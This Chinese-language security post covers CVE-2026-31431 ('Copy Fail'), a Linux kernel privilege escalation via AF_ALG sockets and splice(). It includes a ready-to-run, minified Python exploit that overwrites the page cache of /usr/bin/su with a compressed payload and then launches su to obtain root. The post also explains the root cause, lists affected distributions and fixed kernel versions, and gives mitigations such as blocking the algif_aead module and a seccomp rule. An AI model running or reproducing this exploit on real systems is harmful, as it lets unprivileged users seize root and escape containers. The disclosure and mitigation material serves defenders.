CVE-2026-31431
CVE-2026-31431
漏洞名称:Copy Fail
漏洞编号:CVE-2026-31431
危险等级:高危
核心影响:普通用户可稳定获取 Root 权限,且支持容器逃逸。
利用难度:极低。无需竞争条件,无需编译,仅需一个 Python 脚本即可利用。
EXP
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):
return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:
u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):
c(f,i,e[i:i+4])
i+=4
g.system("su")


目前已知受影响版本:
自 2017 年以来几乎所有主流 Linux 发行版,如:
Ubuntu 24.04 LTS
Amazon Linux 2023
Red Hat Enterprise Linux 10 / 9 / 8
SUSE 16
及基于上述内核版本的各类衍生发行版
修复版本:
Linux Kernel 6.18:升级至 6.18.22 及以上
Linux Kernel 6.19:升级至 6.19.12 及以上
Linux Kernel 7.0:升级至 7.0 或应用相关补丁
旧版本内核:应用官方 Commit a664bf3d603d
漏洞根源:
内核加密子系统中,AF_ALG套接字与splice()系统调用组合使用时存在页缓存写入逻辑缺陷,导致对只读setuid文件的非法篡改成为可能。
漏洞原理
该漏洞的核心问题,在于Linux内核加密子系统处理AF_ALG套接字数据拷贝时的逻辑不一致:
1. AF_ALG加密接口异常: 内核的AF_ALG(Algorithm Socket)加密接口在配合splice()系统调用时,错误地允许向任意可读文件的页缓存(page cache)写入数据,即使该文件本身为只读权限;
2. 页缓存污染: 攻击者利用该缺陷,可向系统上任意可读文件(如/usr/bin/passwd、/usr/bin/sudo等setuid程序)的页缓存中,精准写入受控的4字节数据,覆盖程序的关键逻辑或校验字段;
3. setuid程序篡改: 由于页缓存被污染,当系统后续执行该setuid程序时,实际运行的是被篡改后的内存版本,而非磁盘上的原始只读文件,从而绕过setuid机制的安全边界;
4. 权限直接提升: 攻击者通过篡改特定的setuid程序,使其在执行时直接授予攻击者进程root权限上下文,无需竞争条件、无需暴力破解,即可稳定获得root shell。
简单来说,攻击者只需利用AF_ALG与splice()的组合,向系统关键setuid程序的页缓存中"注入"4字节恶意数据,就能让内核在后续执行该程序时,错误地将其识别为合法操作,从而直接突破权限管控,获取root权限。
缓解措施:
如果无法及时升级,请禁用漏洞模块,阻止 algif_aead 模块被加载。
(注:如果内核将该功能静态编译进去了,此方法无效,必须升级内核)
对于 Docker/K8s 环境,建议通过 Seccomp 策略禁止容器内创建 AF_ALG 套接字,防止容器逃逸。
温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。
涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。
如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。
